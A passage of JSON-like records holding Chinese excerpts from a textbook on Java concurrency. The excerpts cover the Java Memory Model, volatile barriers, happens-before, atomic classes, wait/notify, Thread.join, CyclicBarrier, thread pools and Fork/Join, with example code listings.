图3-20中的LoadLoad屏障用来禁止处理器把上面的volatile读与下面的普通读重排序。LoadStore屏障用来禁止处理器把上面的volatile读与下面的普通写重排序。 上述volatile写和volatile读的内存屏障插入策略非常保守。在实际执行时，只要不改变volatile写-读的内存语义，编译器可以根据具体情况省略不必要的屏障。下面通过具体的示例代码进行说明。 class VolatileBarrierExample { int a; volatile int v1 = 1; volatile int v2 = 2; void readAndWrite() { int i = v1; // 第一个volatile读 int j = v2; // 第二个volatile读 a = i + j; // 普通写 v1 = i + 1; // 第一个volatile写 v2 = j * 2; // 第二个 volatile写 } … // 其他方法 } 针对readAndWrite()方法，编译器在生成字节码时可以做如下的优化。 图3-21 指令序列示意图 注意，最后的StoreLoad屏障不能省略。因为第二个volatile写之后，方法立即return。此时编译器可能无法准确断定后面是否会有volatile读或写，为了安全起见，编译器通常会在这里插入一个StoreLoad屏障。 上面的优化针对任意处理器平台，由于不同的处理器有不同“松紧度”的处理器内存模型，内存屏障的插入还可以根据具体的处理器内存模型继续优化。以X86处理器为例，图3-21中除最后的StoreLoad屏障外，其他的屏障都会被省略。 前面保守策略下的volatile读和写，在X86处理器平台可以优化成如图3-22所示。 前文提到过，X86处理器仅会对写-读操作做重排序。X86不会对读-读、读-写和写-写操作做重排序，因此在X86处理器中会省略掉这3种操作类型对应的内存屏障。在X86中，JMM仅需在volatile写后面插入一个StoreLoad屏障即可正确实现volatile写-读的内存语义。这意味着在X86处理器中，volatile写的开销比volatile读的开销会大很多（因为执行StoreLoad屏障开销会比较大）。 图3-22 指令序列示意图"},
    {"text": "Unknown 3.7.1 JMM的设计 首先，让我们来看JMM的设计意图。从JMM设计者的角度，在设计JMM时，需要考虑两个关键因素。 ·程序员对内存模型的使用。程序员希望内存模型易于理解、易于编程。程序员希望基于一个强内存模型来编写代码。 ·编译器和处理器对内存模型的实现。编译器和处理器希望内存模型对它们的束缚越少越好，这样它们就可以做尽可能多的优化来提高性能。编译器和处理器希望实现一个弱内存模型。 由于这两个因素互相矛盾，所以JSR-133专家组在设计JMM时的核心目标就是找到一个好的平衡点：一方面，要为程序员提供足够强的内存可见性保证；另一方面，对编译器和处理器的限制要尽可能地放松。下面让我们来看JSR-133是如何实现这一目标的。 double pi = 3.14; // A double r = 1.0; // B double area = pi * r * r; // C 上面计算圆的面积的示例代码存在3个happens-before关系，如下。 ·A happens-before B。 ·B happens-before C。 ·A happens-before C。 在3个happens-before关系中，2和3是必需的，但1是不必要的。因此，JMM把happens-before要求禁止的重排序分为了下面两类。 ·会改变程序执行结果的重排序。 ·不会改变程序执行结果的重排序。 JMM对这两种不同性质的重排序，采取了不同的策略，如下。 ·对于会改变程序执行结果的重排序，JMM要求编译器和处理器必须禁止这种重排序。 ·对于不会改变程序执行结果的重排序，JMM对编译器和处理器不做要求（JMM允许这种重排序）。 图3-33是JMM的设计示意图。 图3-33 JMM的设计示意图 从图3-33可以看出两点，如下。 ·JMM向程序员提供的happens-before规则能满足程序员的需求。JMM的happens-before规则不但简单易懂，而且也向程序员提供了足够强的内存可见性保证（有些内存可见性保证其实并不一定真实存在，比如上面的A happens-before B）。 ·JMM对编译器和处理器的束缚已经尽可能少。从上面的分析可以看出，JMM其实是在遵循一个基本原则：只要不改变程序的执行结果（指的是单线程程序和正确同步的多线程程序），编译器和处理器怎么优化都行。例如，如果编译器经过细致的分析后，认定一个锁只会被单个线程访问，那么这个锁可以被消除。再如，如果编译器经过细致的分析后，认定一个volatile变量只会被单个线程访问，那么编译器可以把这个volatile变量当作一个普通变量来对待。这些优化既不会改变程序的执行结果，又能提高程序的执行效率。 Unknown 第7章 Java中的13个原子操作类 当程序更新一个变量时，如果多线程同时更新这个变量，可能得到期望之外的值，比如变量i=1，A线程更新i+1，B线程也更新i+1，经过两个线程操作之后可能i不等于3，而是等于2。因为A和B线程在更新变量i的时候拿到的i都是1，这就是线程不安全的更新操作，通常我们会使用synchronized来解决这个问题，synchronized会保证多线程不会同时更新变量i。 而Java从JDK 1.5开始提供了java.util.concurrent.atomic包（以下简称Atomic包），这个包中的原子操作类提供了一种用法简单、性能高效、线程安全地更新一个变量的方式。 因为变量的类型有很多种，所以在Atomic包里一共提供了13个类，属于4种类型的原子更新方式，分别是原子更新基本类型、原子更新数组、原子更新引用和原子更新属性（字段）。Atomic包里的类基本都是使用Unsafe实现的包装类。"},
    {"text": "Unknown 4.1.2 为什么要使用多线程 执行一个简单的“Hello,World!”，却启动了那么多的“无关”线程，是不是把简单的问题复杂化了？当然不是，因为正确使用多线程，总是能够给开发人员带来显著的好处，而使用多线程的原因主要有以下几点。 （1）更多的处理器核心 随着处理器上的核心数量越来越多，以及超线程技术的广泛运用，现在大多数计算机都比以往更加擅长并行计算，而处理器性能的提升方式，也从更高的主频向更多的核心发展。如何利用好处理器上的多个核心也成了现在的主要问题。 线程是大多数操作系统调度的基本单元，一个程序作为一个进程来运行，程序运行过程中能够创建多个线程，而一个线程在一个时刻只能运行在一个处理器核心上。试想一下，一个单线程程序在运行时只能使用一个处理器核心，那么再多的处理器核心加入也无法显著提升该程序的执行效率。相反，如果该程序使用多线程技术，将计算逻辑分配到多个处理器核心上，就会显著减少程序的处理时间，并且随着更多处理器核心的加入而变得更有效率。 （2）更快的响应时间 有时我们会编写一些较为复杂的代码（这里的复杂不是说复杂的算法，而是复杂的业务逻辑），例如，一笔订单的创建，它包括插入订单数据、生成订单快照、发送邮件通知卖家和记录货品销售数量等。用户从单击“订购”按钮开始，就要等待这些操作全部完成才能看到订购成功的结果。但是这么多业务操作，如何能够让其更快地完成呢？ 在上面的场景中，可以使用多线程技术，即将数据一致性不强的操作派发给其他线程处理（也可以使用消息队列），如生成订单快照、发送邮件等。这样做的好处是响应用户请求的线程能够尽可能快地处理完成，缩短了响应时间，提升了用户体验。 （3）更好的编程模型 Java为多线程编程提供了良好、考究并且一致的编程模型，使开发人员能够更加专注于问题的解决，即为所遇到的问题建立合适的模型，而不是绞尽脑汁地考虑如何将其多线程化。一旦开发人员建立好了模型，稍做修改总是能够方便地映射到Java提供的多线程编程模型上。 Unknown 第5章 Java中的锁 本章将介绍Java并发包中与锁相关的API和组件，以及这些API和组件的使用方式和实现细节。内容主要围绕两个方面： 使用 ，通过示例演示这些组件的使用方法以及详细介绍与锁相关的API； 实现 ，通过分析源码来剖析实现细节，因为理解实现的细节方能更加得心应手且正确地使用这些组件。希望通过以上两个方面的讲解使开发者对锁的使用和实现两个层面有一定的了解。 Unknown 第10章 Executor框架 在Java中，使用线程来异步执行任务。Java线程的创建与销毁需要一定的开销，如果我们为每一个任务创建一个新线程来执行，这些线程的创建与销毁将消耗大量的计算资源。同时，为每一个任务创建一个新线程来执行，这种策略可能会使处于高负荷状态的应用最终崩溃。 Java的线程既是工作单元，也是执行机制。从JDK 5开始，把工作单元与执行机制分离开来。工作单元包括Runnable和Callable，而执行机制由Executor框架提供。 Unknown 7.3 原子更新引用类型 原子更新基本类型的AtomicInteger，只能更新一个变量，如果要原子更新多个变量，就需要使用这个原子更新引用类型提供的类。Atomic包提供了以下3个类。 ·AtomicReference：原子更新引用类型。 ·AtomicReferenceFieldUpdater：原子更新引用类型里的字段。 ·AtomicMarkableReference：原子更新带有标记位的引用类型。可以原子更新一个布尔类型的标记位和引用类型。构造方法是AtomicMarkableReference（V initialRef，boolean initialMark）。 以上几个类提供的方法几乎一样，所以本节仅以AtomicReference为例进行讲解，AtomicReference的使用示例代码如代码清单7-5所示。 代码清单7-5 AtomicReferenceTest.java public class AtomicReferenceTest { public static AtomicReference<user> atomicUserRef = new AtomicReference<user>(); public static void main(String[] args) { User user = new User(\"conan\"， 15); atomicUserRef.set(user); User updateUser = new User(\"Shinichi\"， 17); atomicUserRef.compareAndSet(user， updateUser); System.out.println(atomicUserRef.get().getName()); System.out.println(atomicUserRef.get().getOld()); } static class User { private String name; private int old; public User(String name， int old) { this.name = name; this.old = old; } public String getName() { return name; } public int getOld() { return old; } } } 代码中首先构建一个user对象，然后把user对象设置进AtomicReferenc中，最后调用compareAndSet方法进行原子更新操作，实现原理同AtomicInteger里的compareAndSet方法。代码执行后输出结果如下。 Shinichi 17"},
    {"text": "Unknown 4.3.5 Thread.join()的使用 如果一个线程A执行了thread.join()语句，其含义是：当前线程A等待thread线程终止之后才从thread.join()返回。线程Thread除了提供join()方法之外，还提供了join(long millis)和join(long millis,int nanos)两个具备超时特性的方法。这两个超时方法表示，如果线程thread在给定的超时时间里没有终止，那么将会从该超时方法中返回。 在代码清单4-13所示的例子中，创建了10个线程，编号0~9，每个线程调用前一个线程的join()方法，也就是线程0结束了，线程1才能从join()方法中返回，而线程0需要等待main线程结束。 代码清单4-13 Join.java public class Join { public static void main(String[] args) throws Exception { Thread previous = Thread.currentThread(); for (int i = 0; i < 10; i++) { // 每个线程拥有前一个线程的引用，需要等待前一个线程终止，才能从等待中返回 Thread thread = new Thread(new Domino(previous), String.valueOf(i)); thread.start(); previous = thread; } TimeUnit.SECONDS.sleep(5); System.out.println(Thread.currentThread().getName() + \" terminate.\"); } static class Domino implements Runnable { private Thread thread; public Domino(Thread thread) { this.thread = thread; } public void run() { try { thread.join(); } catch (InterruptedException e) { } System.out.println(Thread.currentThread().getName() + \" terminate.\"); } } } 输出如下。 main terminate. 0 terminate. 1 terminate. 2 terminate. 3 terminate. 4 terminate. 5 terminate. 6 terminate. 7 terminate. 8 terminate. 9 terminate. 从上述输出可以看到，每个线程终止的前提是前驱线程的终止，每个线程等待前驱线程终止后，才从join()方法返回，这里涉及了等待/通知机制（等待前驱线程结束，接收前驱线程结束通知）。 代码清单4-14是JDK中Thread.join()方法的源码（进行了部分调整）。 代码清单4-14 Thread.java // 加锁当前线程对象 public final synchronized void join() throws InterruptedException { // 条件不满足，继续等待 while (isAlive()) { wait(0); } // 条件符合，方法返回 } 当线程终止时，会调用线程自身的notifyAll()方法，会通知所有等待在该线程对象上的线程。可以看到join()方法的逻辑结构与4.3.3节中描述的等待/通知经典范式一致，即加锁、循环和处理逻辑3个步骤。 Unknown 8.2.3 CyclicBarrier和CountDownLatch的区别 CountDownLatch的计数器只能使用一次，而CyclicBarrier的计数器可以使用reset()方法重置。所以CyclicBarrier能处理更为复杂的业务场景。例如，如果计算发生错误，可以重置计数器，并让线程重新执行一次。 CyclicBarrier还提供其他有用的方法，比如getNumberWaiting方法可以获得Cyclic-Barrier阻塞的线程数量。isBroken()方法用来了解阻塞的线程是否被中断。代码清单8-5执行完之后会返回true，其中isBroken的使用代码如代码清单8-6所示。 代码清单8-6 CyclicBarrierTest3.java importjava.util.concurrent.BrokenBarrierException; importjava.util.concurrent.CyclicBarrier; public class CyclicBarrierTest3 { staticCyclicBarrier c = new CyclicBarrier(2); public static void main(String[] args) throws InterruptedException， BrokenBarrierException { Thread thread = new Thread(new Runnable() { @Override public void run() { try { c.await(); } catch (Exception e) { } } }); thread.start(); thread.interrupt(); try { c.await(); } catch (Exception e) { System.out.println(c.isBroken()); } } } 输出如下所示。 true"},
    {"text": "Unknown 3.3.4 未同步程序的执行特性 对于未同步或未正确同步的多线程程序，JMM只提供最小安全性：线程执行时读取到的值，要么是之前某个线程写入的值，要么是默认值（0，Null，False），JMM保证线程读操作读取到的值不会无中生有（Out Of Thin Air）的冒出来。为了实现最小安全性，JVM在堆上分配对象时，首先会对内存空间进行清零，然后才会在上面分配对象（JVM内部会同步这两个操作）。因此，在已清零的内存空间（Pre-zeroed Memory）分配对象时，域的默认初始化已经完成了。 JMM不保证未同步程序的执行结果与该程序在顺序一致性模型中的执行结果一致。因为如果想要保证执行结果一致，JMM需要禁止大量的处理器和编译器的优化，这对程序的执行性能会产生很大的影响。而且未同步程序在顺序一致性模型中执行时，整体是无序的，其执行结果往往无法预知。而且，保证未同步程序在这两个模型中的执行结果一致没什么意义。 未同步程序在JMM中的执行时，整体上是无序的，其执行结果无法预知。未同步程序在两个模型中的执行特性有如下几个差异。 1）顺序一致性模型保证单线程内的操作会按程序的顺序执行，而JMM不保证单线程内的操作会按程序的顺序执行（比如上面正确同步的多线程程序在临界区内的重排序）。这一点前面已经讲过了，这里就不再赘述。 2）顺序一致性模型保证所有线程只能看到一致的操作执行顺序，而JMM不保证所有线程能看到一致的操作执行顺序。这一点前面也已经讲过，这里就不再赘述。 3）JMM不保证对64位的long型和double型变量的写操作具有原子性，而顺序一致性模型保证对所有的内存读/写操作都具有原子性。 第3个差异与处理器总线的工作机制密切相关。在计算机中，数据通过总线在处理器和内存之间传递。每次处理器和内存之间的数据传递都是通过一系列步骤来完成的，这一系列步骤称之为总线事务（Bus Transaction）。总线事务包括读事务（Read Transaction）和写事务（Write Transaction）。读事务从内存传送数据到处理器，写事务从处理器传送数据到内存，每个事务会读/写内存中一个或多个物理上连续的字。这里的关键是，总线会同步试图并发使用总线的事务。在一个处理器执行总线事务期间，总线会禁止其他的处理器和I/O设备执行内存的读/写。下面，让我们通过一个示意图来说明总线的工作机制，如图3-14所示。 图3-14 总线的工作机制 由图可知，假设处理器A，B和C同时向总线发起总线事务，这时总线仲裁（Bus Arbitration）会对竞争做出裁决，这里假设总线在仲裁后判定处理器A在竞争中获胜（总线仲裁会确保所有处理器都能公平的访问内存）。此时处理器A继续它的总线事务，而其他两个处理器则要等待处理器A的总线事务完成后才能再次执行内存访问。假设在处理器A执行总线事务期间（不管这个总线事务是读事务还是写事务），处理器D向总线发起了总线事务，此时处理器D的请求会被总线禁止。 总线的这些工作机制可以把所有处理器对内存的访问以串行化的方式来执行。在任意时间点，最多只能有一个处理器可以访问内存。这个特性确保了单个总线事务之中的内存读/写操作具有原子性。 在一些32位的处理器上，如果要求对64位数据的写操作具有原子性，会有比较大的开销。为了照顾这种处理器，Java语言规范鼓励但不强求JVM对64位的long型变量和double型变量的写操作具有原子性。当JVM在这种处理器上运行时，可能会把一个64位long/double型变量的写操作拆分为两个32位的写操作来执行。这两个32位的写操作可能会被分配到不同的总线事务中执行，此时对这个64位变量的写操作将不具有原子性。 当单个内存操作不具有原子性时，可能会产生意想不到后果。请看示意图，如图3-15所示。 图3-15 总线事务执行的时序图 如上图所示，假设处理器A写一个long型变量，同时处理器B要读这个long型变量。处理器A中64位的写操作被拆分为两个32位的写操作，且这两个32位的写操作被分配到不同的写事务中执行。同时，处理器B中64位的读操作被分配到单个的读事务中执行。当处理器A和B按上图的时序来执行时，处理器B将看到仅仅被处理器A“写了一半”的无效值。 注意，在JSR-133之前的旧内存模型中，一个64位long/double型变量的读/写操作可以被拆分为两个32位的读/写操作来执行。从JSR-133内存模型开始（即从JDK5开始），仅仅只允许把一个64位long/double型变量的写操作拆分为两个32位的写操作来执行，任意的读操作在JSR-133中都必须具有原子性（即任意读操作必须要在单个读事务中执行）。 Unknown 3.5 锁的内存语义 众所周知，锁可以让临界区互斥执行。这里将介绍锁的另一个同样重要，但常常被忽视的功能：锁的内存语义。 Unknown 3.3 顺序一致性 顺序一致性内存模型是一个理论参考模型，在设计的时候，处理器的内存模型和编程语言的内存模型都会以顺序一致性内存模型作为参照。"},
    {"text": "Unknown 3.4.3 volatile写-读的内存语义 volatile写的内存语义如下。 当写一个volatile变量时，JMM会把该线程对应的本地内存中的共享变量值刷新到主内存。 以上面示例程序VolatileExample为例，假设线程A首先执行writer()方法，随后线程B执行reader()方法，初始时两个线程的本地内存中的flag和a都是初始状态。图3-17是线程A执行volatile写后，共享变量的状态示意图。 图3-17 共享变量的状态示意图 如图3-17所示，线程A在写flag变量后，本地内存A中被线程A更新过的两个共享变量的值被刷新到主内存中。此时，本地内存A和主内存中的共享变量的值是一致的。 volatile读的内存语义如下。 当读一个volatile变量时，JMM会把该线程对应的本地内存置为无效。线程接下来将从主内存中读取共享变量。 图3-18为线程B读同一个volatile变量后，共享变量的状态示意图。 如图所示，在读flag变量后，本地内存B包含的值已经被置为无效。此时，线程B必须从主内存中读取共享变量。线程B的读取操作将导致本地内存B与主内存中的共享变量的值变成一致。 如果我们把volatile写和volatile读两个步骤综合起来看的话，在读线程B读一个volatile变量后，写线程A在写这个volatile变量之前所有可见的共享变量的值都将立即变得对读线程B可见。 下面对volatile写和volatile读的内存语义做个总结。 ·线程A写一个volatile变量，实质上是线程A向接下来将要读这个volatile变量的某个线程发出了（其对共享变量所做修改的）消息。 ·线程B读一个volatile变量，实质上是线程B接收了之前某个线程发出的（在写这个volatile变量之前对共享变量所做修改的）消息。 ·线程A写一个volatile变量，随后线程B读这个volatile变量，这个过程实质上是线程A通过主内存向线程B发送消息。 图3-18 共享变量的状态示意图 Unknown 3.4.2 volatile写-读建立的happens-before关系 上面讲的是volatile变量自身的特性，对程序员来说，volatile对线程的内存可见性的影响比volatile自身的特性更为重要，也更需要我们去关注。 从JSR-133开始（即从JDK5开始），volatile变量的写-读可以实现线程之间的通信。 从内存语义的角度来说，volatile的写-读与锁的释放-获取有相同的内存效果：volatile写和锁的释放有相同的内存语义；volatile读与锁的获取有相同的内存语义。 请看下面使用volatile变量的示例代码。 class VolatileExample { int a = 0; volatile boolean flag = false; public void writer() { a = 1; // 1 flag = true; // 2 } public void reader() { if (flag) { // 3 int i = a; // 4 …… } } } 假设线程A执行writer()方法之后，线程B执行reader()方法。根据happens-before规则，这个过程建立的happens-before关系可以分为3类： 1）根据程序次序规则，1 happens-before 2;3 happens-before 4。 2）根据volatile规则，2 happens-before 3。 3）根据happens-before的传递性规则，1 happens-before 4。 上述happens-before关系的图形化表现形式如下。 图3-16 happens-before关系 在上图中，每一个箭头链接的两个节点，代表了一个happens-before关系。黑色箭头表示程序顺序规则；橙色箭头表示volatile规则；蓝色箭头表示组合这些规则后提供的happens-before保证。 这里A线程写一个volatile变量后，B线程读同一个volatile变量。A线程在写volatile变量之前所有可见的共享变量，在B线程读同一个volatile变量后，将立即变得对B线程可见。 注意 本文统一用粗实线标识组合后产生的happens-before关系。"},
    {"text": "Unknown 6.2.3 出队列 出队列的就是从队列里返回一个节点元素，并清空该节点对元素的引用。让我们通过每个节点出队的快照来观察一下head节点的变化，如图6-5所示。 从图中可知，并不是每次出队时都更新head节点，当head节点里有元素时，直接弹出head节点里的元素，而不会更新head节点。只有当head节点里没有元素时，出队操作才会更新head节点。这种做法也是通过hops变量来减少使用CAS更新head节点的消耗，从而提高出队效率。让我们再通过源码来深入分析下出队过程。 图6-5 队列出节点快照图 public E poll() { Node<E> h = head; // p表示头节点，需要出队的节点 Node<E> p = h; for (int hops = 0;; hops++) { // 获取p节点的元素 E item = p.getItem(); // 如果p节点的元素不为空，使用CAS设置p节点引用的元素为null, // 如果成功则返回p节点的元素。 if (item != null && p.casItem(item, null)) { if (hops >= HOPS) { // 将p节点下一个节点设置成head节点 Node<E> q = p.getNext(); updateHead(h, (q != null) q : p); } return item; } // 如果头节点的元素为空或头节点发生了变化，这说明头节点已经被另外 // 一个线程修改了。那么获取p节点的下一个节点 Node<E> next = succ(p); // 如果p的下一个节点也为空，说明这个队列已经空了 if (next == null) { // 更新头节点。 updateHead(h, p); break; } // 如果下一个元素不为空，则将头节点的下一个节点设置成头节点 p = next; } return null; } 首先获取头节点的元素，然后判断头节点元素是否为空，如果为空，表示另外一个线程已经进行了一次出队操作将该节点的元素取走，如果不为空，则使用CAS的方式将头节点的引用设置成null，如果CAS成功，则直接返回头节点的元素，如果不成功，表示另外一个线程已经进行了一次出队操作更新了head节点，导致元素发生了变化，需要重新获取头节点。 Unknown 9.2.4 合理地配置线程池 要想合理地配置线程池，就必须首先分析任务特性，可以从以下几个角度来分析。 ·任务的性质：CPU密集型任务、IO密集型任务和混合型任务。 ·任务的优先级：高、中和低。 ·任务的执行时间：长、中和短。 ·任务的依赖性：是否依赖其他系统资源，如数据库连接。 性质不同的任务可以用不同规模的线程池分开处理。CPU密集型任务应配置尽可能小的线程，如配置N cpu +1个线程的线程池。由于IO密集型任务线程并不是一直在执行任务，则应配置尽可能多的线程，如2*N cpu 。混合型的任务，如果可以拆分，将其拆分成一个CPU密集型任务和一个IO密集型任务，只要这两个任务执行的时间相差不是太大，那么分解后执行的吞吐量将高于串行执行的吞吐量。如果这两个任务执行时间相差太大，则没必要进行分解。可以通过Runtime.getRuntime().availableProcessors()方法获得当前设备的CPU个数。 优先级不同的任务可以使用优先级队列PriorityBlockingQueue来处理。它可以让优先级高的任务先执行。 注意 如果一直有优先级高的任务提交到队列里，那么优先级低的任务可能永远不能执行。 执行时间不同的任务可以交给不同规模的线程池来处理，或者可以使用优先级队列，让执行时间短的任务先执行。 依赖数据库连接池的任务，因为线程提交SQL后需要等待数据库返回结果，等待的时间越长，则CPU空闲时间就越长，那么线程数应该设置得越大，这样才能更好地利用CPU。 建议使用有界队列 。有界队列能增加系统的稳定性和预警能力，可以根据需要设大一点儿，比如几千。有一次，我们系统里后台任务线程池的队列和线程池全满了，不断抛出抛弃任务的异常，通过排查发现是数据库出现了问题，导致执行SQL变得非常缓慢，因为后台任务线程池里的任务全是需要向数据库查询和插入数据的，所以导致线程池里的工作线程全部阻塞，任务积压在线程池里。如果当时我们设置成无界队列，那么线程池的队列就会越来越多，有可能会撑满内存，导致整个系统不可用，而不只是后台任务出现问题。当然，我们的系统所有的任务是用单独的服务器部署的，我们使用不同规模的线程池完成不同类型的任务，但是出现这样问题时也会影响到其他任务。 Unknown 3.7 happens-before happens-before是JMM最核心的概念。对应Java程序员来说，理解happens-before是理解JMM的关键。"},
    {"text": "Unknown 11.1 生产者和消费者模式 在并发编程中使用生产者和消费者模式能够解决绝大多数并发问题。该模式通过平衡生产线程和消费线程的工作能力来提高程序整体处理数据的速度。 在线程世界里，生产者就是生产数据的线程，消费者就是消费数据的线程。在多线程开发中，如果生产者处理速度很快，而消费者处理速度很慢，那么生产者就必须等待消费者处理完，才能继续生产数据。同样的道理，如果消费者的处理能力大于生产者，那么消费者就必须等待生产者。为了解决这种生产消费能力不均衡的问题，便有了生产者和消费者模式。 什么是生产者和消费者模式 生产者和消费者模式是通过一个容器来解决生产者和消费者的强耦合问题。生产者和消费者彼此之间不直接通信，而是通过阻塞队列来进行通信，所以生产者生产完数据之后不用等待消费者处理，直接扔给阻塞队列，消费者不找生产者要数据，而是直接从阻塞队列里取，阻塞队列就相当于一个缓冲区，平衡了生产者和消费者的处理能力。 这个阻塞队列就是用来给生产者和消费者解耦的。纵观大多数设计模式，都会找一个第三者出来进行解耦，如工厂模式的第三者是工厂类，模板模式的第三者是模板类。在学习一些设计模式的过程中，先找到这个模式的第三者，能帮助我们快速熟悉一个设计模式。"},
    {"text": "Unknown 4.3.2 等待/通知机制 一个线程修改了一个对象的值，而另一个线程感知到了变化，然后进行相应的操作，整个过程开始于一个线程，而最终执行又是另一个线程。"},
    {"text": "前者是生产者，后者就是消费者，这种模式隔离了“做什么”（what）和“怎么做”（How），在功能层面上实现了解耦，体系结构上具备了良好的伸缩性，但是在Java语言中如何实现类似的功能呢？"},
    {"text": "简单的办法是让消费者线程不断地循环检查变量是否符合预期，如下面代码所示，在while循环中设置不满足的条件，如果条件满足则退出while循环，从而完成消费者的工作。"},
    {"text": "while (value != desire) { Thread.sleep(1000); } doSomething(); 上面这段伪代码在条件不满足时就睡眠一段时间，这样做的目的是防止过快的“无效”尝试，这种方式看似能够解实现所需的功能，但是却存在如下问题。"},
    {"text": "等待/通知的相关方法是任意Java对象都具备的，因为这些方法被定义在所有对象的超类java.lang.Object上，方法和描述如表4-2所示。 表4-2 等待/通知的相关方法 等待/通知机制，是指一个线程A调用了对象O的wait()方法进入等待状态，而另一个线程B调用了对象O的notify()或者notifyAll()方法，线程A收到通知后从对象O的wait()方法返回，进而执行后续操作。 上述两个线程通过对象O来完成交互，而对象上的wait()和notify/notifyAll()的关系就如同开关信号一样，用来完成等待方和通知方之间的交互工作。 在代码清单4-11所示的例子中，创建了两个线程——WaitThread和NotifyThread，前者检查flag值是否为false，如果符合要求，进行后续操作，否则在lock上等待，后者在睡眠了一段时间后对lock进行通知，示例如下所示。 代码清单4-11 WaitNotify.java public class WaitNotify { static boolean flag = true; static Object lock = new Object(); public static void main(String[] args) throws Exception { Thread waitThread = new Thread(new Wait(), \"WaitThread\"); waitThread.start(); TimeUnit.SECONDS.sleep(1); Thread notifyThread = new Thread(new Notify(), \"NotifyThread\"); notifyThread.start(); } static class Wait implements Runnable { public void run() { // 加锁，拥有lock的Monitor synchronized (lock) { // 当条件不满足时，继续wait，同时释放了lock的锁 while (flag) { try { System.out.println(Thread.currentThread() + \" flag is true. wait @ \" + new SimpleDateFormat(\"HH:mm:ss\").format(new Date())); lock.wait(); } catch (InterruptedException e) { } } // 条件满足时，完成工作 System.out.println(Thread.currentThread() + \" flag is false. running @ \" + new SimpleDateFormat(\"HH:mm:ss\").format(new Date())); } } } static class Notify implements Runnable { public void run() { // 加锁，拥有lock的Monitor synchronized (lock) { // 获取lock的锁，然后进行通知，通知时不会释放lock的锁， // 直到当前线程释放了lock后，WaitThread才能从wait方法中返回 System.out.println(Thread.currentThread() + \" hold lock. notify @ \" + new SimpleDateFormat(\"HH:mm:ss\").format(new Date())); lock.notifyAll(); flag = false; SleepUtils.second(5); } // 再次加锁 synchronized (lock) { System.out.println(Thread.currentThread() + \" hold lock again. sleep @ \" + new SimpleDateFormat(\"HH:mm:ss\").format(new Date())); SleepUtils.second(5); } } } } 输出如下（输出内容可能不同，主要区别在时间上）。 Thread[WaitThread,5,main] flag is true. wait @ 22:23:03 Thread[NotifyThread,5,main] hold lock. notify @ 22:23:04 Thread[NotifyThread,5,main] hold lock again. sleep @ 22:23:09 Thread[WaitThread,5,main] flag is false. running @ 22:23:14 上述第3行和第4行输出的顺序可能会互换，而上述例子主要说明了调用wait()、notify()以及notifyAll()时需要注意的细节，如下。 1）使用wait()、notify()和notifyAll()时需要先对调用对象加锁。 2）调用wait()方法后，线程状态由RUNNING变为WAITING，并将当前线程放置到对象的等待队列。 3）notify()或notifyAll()方法调用后，等待线程依旧不会从wait()返回，需要调用notify()或notifAll()的线程释放锁之后，等待线程才有机会从wait()返回。 4）notify()方法将等待队列中的一个等待线程从等待队列中移到同步队列中，而notifyAll()方法则是将等待队列中所有的线程全部移到同步队列，被移动的线程状态由WAITING变为BLOCKED。 5）从wait()方法返回的前提是获得了调用对象的锁。 从上述细节中可以看到，等待/通知机制依托于同步机制，其目的就是确保等待线程从wait()方法返回时能够感知到通知线程对变量做出的修改。"},
    {"text": "图4-3 WaitNotify.java运行过程 在图4-3中，WaitThread首先获取了对象的锁，然后调用对象的wait()方法，从而放弃了锁并进入了对象的等待队列WaitQueue中，进入等待状态。 由于WaitThread释放了对象的锁，NotifyThread随后获取了对象的锁，并调用对象的notify()方法，将WaitThread从WaitQueue移到SynchronizedQueue中，此时WaitThread的状态变为阻塞状态。 NotifyThread释放了锁之后，WaitThread再次获取到锁并从wait()方法返回继续执行。"},
    {"text": "Unknown 3.9.3 JMM的内存可见性保证 按程序类型，Java程序的内存可见性保证可以分为下列3类。 ·单线程程序。单线程程序不会出现内存可见性问题。编译器、runtime和处理器会共同确保单线程程序的执行结果与该程序在顺序一致性模型中的执行结果相同。 ·正确同步的多线程程序。正确同步的多线程程序的执行将具有顺序一致性（程序的执行结果与该程序在顺序一致性内存模型中的执行结果相同）。这是JMM关注的重点，JMM通过限制编译器和处理器的重排序来为程序员提供内存可见性保证。 ·未同步/未正确同步的多线程程序。JMM为它们提供了最小安全性保障：线程执行时读取到的值，要么是之前某个线程写入的值，要么是默认值（0、null、false）。 图3-49 各种CPU内存模型的强弱对比示意图 注意，最小安全性保障与64位数据的非原子性写并不矛盾。它们是两个不同的概念，它们“发生”的时间点也不同。最小安全性保证对象默认初始化之后（设置成员域为0、null或false），才会被任意线程使用。最小安全性“发生”在对象被任意线程使用之前。64位数据的非原子性写“发生”在对象被多个线程使用的过程中（写共享变量）。当发生问题时（处理器B看到仅仅被处理器A“写了一半”的无效值），这里虽然处理器B读取到一个被写了一半的无效值，但这个值仍然是处理器A写入的，只不过是处理器A还没有写完而已。最小安全性保证线程读取到的值，要么是之前某个线程写入的值，要么是默认值（0、null、false）。但最小安全性并不保证线程读取到的值，一定是某个线程写完后的值。最小安全性保证线程读取到的值不会无中生有的冒出来，但并不保证线程读取到的值一定是正确的。 图3-50展示了这3类程序在JMM中与在顺序一致性内存模型中的执行结果的异同。 只要多线程程序是正确同步的，JMM保证该程序在任意的处理器平台上的执行结果，与该程序在顺序一致性内存模型中的执行结果一致。 Unknown 6.4.4 使用Fork/Join框架 让我们通过一个简单的需求来使用Fork/Join框架，需求是：计算1+2+3+4的结果。 使用Fork/Join框架首先要考虑到的是如何分割任务，如果希望每个子任务最多执行两个数的相加，那么我们设置分割的阈值是2，由于是4个数字相加，所以Fork/Join框架会把这个任务fork成两个子任务，子任务一负责计算1+2，子任务二负责计算3+4，然后再join两个子任务的结果。因为是有结果的任务，所以必须继承RecursiveTask，实现代码如下。 package fj; import java.util.concurrent.ExecutionException; import java.util.concurrent.ForkJoinPool; import java.util.concurrent.Future; import java.util.concurrent.RecursiveTask; public class CountTask extends RecursiveTask<Integer> { private static final int THRESHOLD = 2; // 阈值 private int start; private int end; public CountTask(int start, int end) { this.start = start; this.end = end; } @Override protected Integer compute() { int sum = 0; // 如果任务足够小就计算任务 boolean canCompute = (end - start) <= THRESHOLD; if (canCompute) { for (int i = start; i <= end; i++) { sum += i; } } else { // 如果任务大于阈值，就分裂成两个子任务计算 int middle = (start + end) / 2; CountTask leftTask = new CountTask(start, middle); CountTask rightTask = new CountTask(middle + 1, end); // 执行子任务 leftTask.fork(); rightTask.fork(); // 等待子任务执行完，并得到其结果 int leftResult=leftTask.join(); int rightResult=rightTask.join(); // 合并子任务 sum = leftResult + rightResult; } return sum; } public static void main(String[] args) { ForkJoinPool forkJoinPool = new ForkJoinPool(); // 生成一个计算任务，负责计算1+2+3+4 CountTask task = new 